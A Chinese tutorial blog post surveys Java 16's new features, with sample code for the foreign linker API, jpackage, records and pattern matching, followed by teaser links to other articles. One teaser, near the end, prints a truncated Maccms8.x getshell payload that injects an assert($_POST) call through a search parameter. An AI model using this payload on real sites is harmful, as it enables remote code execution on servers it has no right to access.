Java 16 新功能介绍
点赞再看,动力无限。Hello world : ) 微信搜「程序猿阿朗 」。
本文 Github.com/niumoo/JavaNotes 和 程序猿阿朗博客 已经收录,有很多知识点和系列文章。
Java 16 在 2021 年 3 月 16 日正式发布,不是长久支持版本,这次更新没有带来很多语法上的改动,但是也带来了不少新的实用功能。
OpenJDK Java 16 下载:https://jdk.java.net/archive/
OpenJDK Java 16 文档:https://openjdk.java.net/projects/jdk/16/
此文章属于Java 新特性教程 系列,会介绍 Java 每个版本的新功能,可以点击浏览。
1. JEP 347: 启用 C++ 14 语言特性
这项更新和 Java 开发者关系不太密切,JEP 347 允许 在 JDK 的 C++ 源码中使用 C++ 14 的语言特性,并且给出了哪些特性可以在 HotSpot 代码中使用的具体说明。
扩展阅读:启用 C++ 14 语言特性
2. JEP 357:从 Mercurial 迁移到 Git
在此之前,OpenJDK 源代码是使用版本管理工具 Mercurial 进行管理的,你也可以在 http://hg.openjdk.java.net/ 查看 OpenJDK 的源代码历史版本。
但是现在迁移到了 GIt ,主要原因如下:
- Mercurial 生成的版本控制元数据过大。
- Mercurial 相关的开发工具比较少,而 Git 几乎在所有的主流 IDE 中已经无缝集成。
- Mercurial 相关的服务比较少,无论是自建托管,还是服务托管。
为了优雅的迁移到 Git,OpenJDK 做了如下操作。
- 将所有的单存储库 OpenJDK 项目从 Mercurial 迁移到 Git。
- 保留所有的版本控制历史,也包括 Tag。
- 根据 Git 的最佳实践重新格式化提交的消息。
- 创建了一个工具用来在 Mercurial 和 Git 哈希之间进行转换。
扩展阅读: 从 Mercurial 迁移到 Git
3. JEP 369:迁移到 GitHub
和 JEP 357 从 Mercurial 迁移到 Git 的改变一致,在把版本管理迁移到 Git 之后,选择了在 GitHub 上托管 OpenJDK 社区的 Git 仓库。不过只对 JDK 11 以及更高版本 JDK 进行了迁移。
4. JEP 376:ZGC 并发线程堆栈处理
这次改动让 ZGC 线程堆栈处理从安全点(Safepoints)移动到并发阶段。
如果你忘记了什么是 Safepoints,可以复习一下。
我们都知道,在之前,需要 GC 的时候,为了进行垃圾回收,需要所有的线程都暂停下来,这个暂停的时间我们成为 Stop The World。
而为了实现 STW 这个操作, JVM 需要为每个线程选择一个点停止运行,这个点就叫做安全点(Safepoints)。
扩展阅读:JEP 376:ZGC 并发线程堆栈处理
5. JEP 380:Unix 域套接字通道
添加 UnixDomainSocketAddress.java 类用于支持 Unix 域套接字通道。
添加 Unix-domain socket 到 SocketChannel 和 ServerSocketChannel API 中。
添加枚举信息 java.net.StandardProtocolFamily.UNIX。
6. JEP 386:移植 Alpine Linux
Apine Linux 是一个独立的、非商业的 Linux 发行版,它十分的小,一个容器需要不超过 8MB 的空间,最小安装到磁盘只需要大约 130MB 存储空间,并且十分的简单,同时兼顾了安全性。
此提案将 JDK 移植到了 Apline Linux,由于 Apline Linux 是基于 musl lib 的轻量级 Linux 发行版,因此其他 x64 和 AArch64 架构上使用 musl lib 的 Linux 发行版也适用。
7. JEP 387:更好的 Metaspace
自从引入了 Metaspace 以来,根据反馈,Metaspace 经常占用过多的堆外内存,从而导致内存浪费,现在可以更及时地将未使用的 HotSpot class-metaspace 内存返还给操作系统,从而减少 Metaspace 的占用空间,并优化了 Metaspace 代码以降低后续的维护成本。
8. JEP 388:移植 Windows/AArch64
将 JDK 移植到 Windows/AArch64 架构上,Windows/AArch64 已经是终端用户市场的热门需求。
9. JEP 389:外部连接器 API(孵化)
这项提案让 Java 代码可以调用由其他语言(比如 C ,C++)编写的编译后的机器代码,替换了之前的 JNI 形式。
不过这还是一个孵化中的功能,运行时需要添加 --add-modules jdk.incubator.foreign
参数来编译和运行 Java 代码。
下面是一个调用 C 语言函数方法,然后输出运行结果的例子。
- 编写一个 C 函数打印一个 "hello www.wdbyte.com"。
#include <stdio.h>
void printHello(){
printf("hello www.wdbyte.com\n");
}
- 将上面的代码编译,然后输出到共享库 hello.so
$ gcc -c -fPIC hello.c
$ gcc -shared -o hello.so hello.o
$ ll
total 128
-rw-r--r-- 1 darcy staff 76B 10 28 19:46 hello.c
-rw-r--r-- 1 darcy staff 776B 10 28 19:46 hello.o
-rwxr-xr-x 1 darcy staff 48K 10 28 19:47 hello.so
- 编写一个 Java 代码,调用 hello.so 的 printHello 方法。
import jdk.incubator.foreign.CLinker;
import jdk.incubator.foreign.FunctionDescriptor;
import jdk.incubator.foreign.LibraryLookup;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodType;
import java.nio.file.Path;
import java.util.Optional;
public class JEP389 {
public static void main(String[] args) throws Throwable {
Path path = Path.of("/Users/darcy/git/java-core/java-16/src/com/wdbyte/hello.so");
LibraryLookup libraryLookup = LibraryLookup.ofPath(path);
Optional<LibraryLookup.Symbol> optionalSymbol = libraryLookup.lookup("printHello");
if (optionalSymbol.isPresent()) {
LibraryLookup.Symbol symbol = optionalSymbol.get();
FunctionDescriptor functionDescriptor = FunctionDescriptor.ofVoid();
MethodType methodType = MethodType.methodType(Void.TYPE);
MethodHandle methodHandle = CLinker.getInstance().downcallHandle(
symbol.address(),
methodType,
functionDescriptor);
methodHandle.invokeExact();
}
}
}
- Java 代码编译。
$ javac --add-modules jdk.incubator.foreign JEP389.java
警告: 使用 incubating 模块: jdk.incubator.foreign
1 个警告
- Java 代码执行。
$ java --add-modules jdk.incubator.foreign -Dforeign.restricted=permit JEP389.java
WARNING: Using incubator modules: jdk.incubator.foreign
警告: 使用 incubating 模块: jdk.incubator.foreign
1 个警告
hello www.wdbyte.com
扩展阅读: JEP 389:外部链接器 API(孵化器)
10. JEP 390:基于值的类的警告
添加了一个注解,用于标识当前是是基于值的类,比如 Java 8 引入的预防空指针的 Optional 类,现在已经添加了注解标识。
@jdk.internal.ValueBased
public final class Optional<T> {
// ...
}
扩展阅读:基于值的类的警告
11. JEP 392:打包工具
在 Java 14 中,JEP 343 引入了打包工具,命令是 jpackage
,在 Java 14 新功能文章里也做了介绍:
使用
jpackage
命令可以把 JAR 包打包成不同操作系统支持的软件格式。jpackage --name myapp --input lib --main-jar main.jar --main-class myapp.Main
常见平台格式如下:
- Linux:
deb
andrpm
- macOS:
pkg
anddmg
- Windows:
msi
andexe
要注意的是,
jpackage
不支持交叉编译,也就是说在 windows 平台上是不能打包成 macOS 或者 Linux 系统的软件格式的。
在 Java 15 中,继续孵化,现在在 Java 16 中,终于成为了正式功能。
下面是一个例子,把一个简单的 Java Swing 程序打包成当前操作系统支持的软件格式,然后安装到当前电脑。
编写 Java 代码
import javax.swing.*;
import java.awt.*;
public class JEP392 {
public static void main(String[] args) {
JFrame frame = new JFrame("Hello World Java Swing");
frame.setMinimumSize(new Dimension(800, 600));
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
JLabel lblText = new JLabel("Hello World!", SwingConstants.CENTER);
frame.getContentPane().add(lblText);
frame.pack();
frame.setVisible(true);
}
}
编译后,创建一个 JAR 文件。
$ javac JEP392.java
$ java JEP392.java
$ jar cvf JEP392.jar JEP392.class
将生成的 JEP392.jar 打包到符合当前平台的软件包中。
$ ~/develop/jdk-16.0.1.jdk/Contents/Home/bin/jpackage -i . -n JEP392 --main-jar hello.jar --main-class JEP392
$ ll
-rw-r--r--@ 1 darcy staff 50M 10 28 20:34 JEP392-1.0.dmg
-rw-r--r-- 1 darcy staff 864B 10 28 20:22 JEP392.class
-rw-r--r-- 1 darcy staff 1.0K 10 28 20:30 JEP392.jar
-rw-r--r-- 1 darcy staff 588B 10 28 20:22 JEP392.java
ll
后显示的 JEP392-1.0.dmg
(我用的 MacOS ,所以格式是 dmg)就是打包后的结果。
双击这个文件后可以像 mac 软件一样安装。其他平台类似。
安装后可以在启动台启动。
不同的系统安装位置不同:
- Linux:
/opt
- MacOS :
/Applications
- Windows:
C:\Program Files\
扩展阅读:JEP 392:打包工具
12. JEP 393:外部内存访问(第三次孵化)
此提案旨在引入新的 API 以允许 Java 程序安全有效的访问 Java 堆之外的内存。相关提案早在 Java 14 的时候就已经提出了,在 Java 15 中重新孵化,现在在 Java 16 中再次孵化。
此提案的目标如下:
- 通用:单个 API 应该能够对各种外部内存(如本机内存、持久内存、堆内存等)进行操作。
- 安全:无论操作何种内存,API 都不应该破坏 JVM 的安全性。
- 控制:可以自由的选择如何释放内存(显式、隐式等)。
- 可用:如果需要访问外部内存,API 应该是
sun.misc.Unsafa
.
扩展阅读:外部内存访问
13. JEP 394:instanceof 模式匹配
改进 instanceof
在 Java 14 中已经提出,在 Java 15 中继续预览,而现在,在 Java 16 中成为正式功能。
在之前,使用 instanceof
需要如下操作:
if (obj instanceof String) {
String s = (String) obj; // grr...
...
}
多余的类型强制转换,而现在:
if (obj instanceof String s) {
// Let pattern matching do the work!
...
}
14. JEP 395:Records
Record 成为 Java 16 的正式功能,下面是介绍 Java 14 时关于 Record 的介绍。
record
是一种全新的类型,它本质上是一个 final
类,同时所有的属性都是 final
修饰,它会自动编译出 public get
hashcode
、equals
、toString
等方法,减少了代码编写量。
示例:编写一个 Dog record 类,定义 name 和 age 属性。
package com.wdbyte;
public record Dog(String name, Integer age) {
}
Record 的使用。
package com.wdbyte;
public class Java14Record {
public static void main(String[] args) {
Dog dog1 = new Dog("牧羊犬", 1);
Dog dog2 = new Dog("田园犬", 2);
Dog dog3 = new Dog("哈士奇", 3);
System.out.println(dog1);
System.out.println(dog2);
System.out.println(dog3);
}
}
输出结果:
Dog[name=牧羊犬, age=1]
Dog[name=田园犬, age=2]
Dog[name=哈士奇, age=3]
这个功能在 Java 15 中进行二次预览,在 Java 16 中正式发布。
15. JEP 396:默认强封装JDK内部
Java 9 JEP 261引入了 --illegal-access
控制内部 API 访问和 JDK 打包的选项。
此 JEP 将 --illegal-access
选项的默认模式从允许更改为拒绝。通过此更改,JDK的内部包和 API(关键内部 API除外)将不再默认打开。
该 JEP 的动机是阻止第三方库、框架和工具使用 JDK 的内部 API 和包,增加了安全性。
16. JEP 397:Sealed Classes(密封类)预览
Sealed Classes 再次预览,在 Java 15 新特性介绍文章里已经介绍过相关功能,并且给出了详细的使用演示,这里不再重复介绍。
下面是一段引用:
我们都知道,在 Java 中如果想让一个类不能被继承和修改,这时我们应该使用 final
关键字对类进行修饰。不过这种要么可以继承,要么不能继承的机制不够灵活,有些时候我们可能想让某个类可以被某些类型继承,但是又不能随意继承,是做不到的。Java 15 尝试解决这个问题,引入了 sealed
类,被 sealed
修饰的类可以指定子类。这样这个类就只能被指定的类继承。
而且 sealed
修饰的类的机制具有传递性,它的子类必须使用指定的关键字进行修饰,且只能是 final
、sealed
、non-sealed
三者之一。
扩展阅读:Java 15 新特性介绍
参考
<完>
Hello world : ) 我是阿朗,一线技术工具人,认认真真写文章。
点赞的个个都是人才,不仅长得帅气好看,说话还好听。
文章持续更新,可以关注公众号「程序猿阿朗 」或访问「程序猿阿朗博客](https://www.wdbyte.com) 」。
回复【资料】有我准备的各系列知识点和必看书籍。
本文 Github.com/niumoo/JavaNotes 已经收录,有很多知识点和系列文章,欢迎Star。
Java 16 新功能介绍的更多相关文章
- Java 17 新功能介绍(LTS)
点赞再看,动力无限.Hello world : ) 微信搜「程序猿阿朗 」. 本文 Github.com/niumoo/JavaNotes 和 未读代码博客 已经收录,有很多知识点和系列文章. Jav ...
- Java 14 新功能介绍
不做标题党,认认真真写个文章. 文章已经收录在 Github.com/niumoo/JavaNotes 和未读代码博客,点关注,不迷路. Java 14 早在 2019 年 9 月就已经发布,虽然不是 ...
- 超详细 Java 15 新功能介绍
点赞再看,动力无限.微信搜「程序猿阿朗 」,认认真真写文章. 本文 Github.com/niumoo/JavaNotes 和 未读代码博客 已经收录,有很多知识点和系列文章. Java 15 在 2 ...
- Java 19 新功能介绍
点赞再看,动力无限. 微信搜「程序猿阿朗 」. 本文 Github.com/niumoo/JavaNotes 和 未读代码博客 已经收录,有很多知识点和系列文章. Java 19 在2022 年 9 ...
- Java 18 新功能介绍
文章持续更新,可以关注公众号程序猿阿朗或访问未读代码博客. 本文 Github.com/niumoo/JavaNotes 已经收录,欢迎Star. Java 18 在2022 年 3 月 22 日正式 ...
- CentOS以及Oracle数据库发展历史及各版本新功能介绍, 便于构造环境时有个对应关系
CentOS版本历史 版本 CentOS版本号有两个部分,一个主要版本和一个次要版本,主要和次要版本号分别对应于RHEL的主要版本与更新包,CentOS采取从RHEL的源代码包来构建.例如CentOS ...
- Java 11 新特性介绍
Java 11 已于 2018 年 9 月 25 日正式发布,之前在Java 10 新特性介绍中介绍过,为了加快的版本迭代.跟进社区反馈,Java 的版本发布周期调整为每六个月一次——即每半年发布一个 ...
- Java 12 新特性介绍,快来补一补
Java 12 早在 2019 年 3 月 19 日发布,它不是一个长久支持(LTS)版本.在这之前我们已经介绍过其他版本的新特性,如果需要可以点击下面的链接进行阅读. Java 11 新特性介绍 J ...
- 原创开源项目HierarchyViewer for iOS 2.1 Beta新功能介绍
回顾 HierarchyViewer for iOS是我们发布的一个开源项目,采用GPL v3.0协议. HierarchyViewer for iOS可以帮助iOS应用的开发和测试人员,在没有源代码 ...
随机推荐
- CodeForce-811C Vladik and Memorable Trip(动态规划)
Vladik and Memorable Trip CodeForces - 811C 有一个长度为 n 的数列,其中第 i 项为 ai. 现在需要你从这个数列中选出一些互不相交的区间,并且保证整个数 ...
- mysql数据库备份参数
我用来实现自动全备份的脚本(可以满足一般有前后版本兼容要求的导出导入操作,我的字符集是latin1): mysqldump.exe -umyusername -pmypass -h localhost ...
- CURL的模拟登录和抓取页面
<?php $curl = curl_init();// 初始化 // 准备提交的表单数据之账号和密码.(这个是根据表单选项来的) $data = "_username=6049892 ...
- [转载]CentOS 7安装配置Samba服务器
假设我们有这样一个场景 共享名路径权限SHAREDOC/smb/docs所有人员包括来宾均可以访问RDDOCS/smb/tech仅允许特定组的用户进行读写访问 特定组的组名为RD,目前的Alice.J ...
- NetCore5实现https请求
前言 本文主要介绍在NetCore5中,实现证书加载和https访问请求. 证书准备 首先我们先创建一个自定义的证书Kiba518.pfx. 证书创建参考:最通俗易懂的RSA加密解密指导. 然后将证书 ...
- 鸿蒙内核源码分析(中断概念篇) | 海公公的日常工作 | 百篇博客分析OpenHarmony源码 | v43.02
百篇博客系列篇.本篇为: v43.xx 鸿蒙内核源码分析(中断概念篇) | 海公公的日常工作 | 51.c.h .o 硬件架构相关篇为: v22.xx 鸿蒙内核源码分析(汇编基础篇) | CPU在哪里 ...
- 分享一下我的Python自学历程,分享下我自己学习方法
其实关于编程这事儿没有接触的那么早,大一的时候没什么关注点,有一门课是vb,一天天的,就抄抄作业啥的就完事儿了.当时也觉的自己不是学编程的料,想着以后估摸也不会干开发相关的工作. 我的自学历程 阴差阳 ...
- Qt和JavaScript使用QWebChannel交互一——和Qt内嵌网页交互
Qt和JavaScript使用QWebChannel交互一--和Qt内嵌网页交互 目录 Qt和JavaScript使用QWebChannel交互一--和Qt内嵌网页交互 前言 一.效果 二.实现过程 ...
- Django+Nginx+Uwsgi(全网最全步骤工作原理流程与部署历程)
一.必要前提 1.1 准备知识 django 一个基于python的开源web框架,请确保自己熟悉它的框架目录结构. uWSGI 一个基于自有的uwsgi协议.wsgi协议和http服务协议的web网 ...
- Maccms8.x(苹果cms)命令执行漏洞
getshell payload(a): http://0-sec.org/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A ...